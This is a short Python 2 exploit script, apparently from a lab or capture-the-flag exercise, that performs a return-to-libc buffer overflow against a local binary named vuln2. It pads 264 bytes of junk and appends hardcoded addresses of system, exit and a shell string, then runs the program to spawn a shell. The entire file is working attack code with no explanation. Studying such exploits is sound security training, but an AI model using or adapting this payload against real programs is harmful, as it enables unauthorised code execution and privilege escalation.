exploit2.py

#!/usr/bin/env python2
import struct
import subprocess


system_addr = 0xb7c4c805
exit_addr =   0xb7c3bc90
bash_addr =   0xb7db5faa

# JUNK + SYSTEM + EXIT + SYSTEM_ARG
buf = "A" * 264
buf += struct.pack("<I",system_addr)
buf += struct.pack("<I",exit_addr)
buf += struct.pack("<I",bash_addr)

subprocess.call(["./vuln2", buf])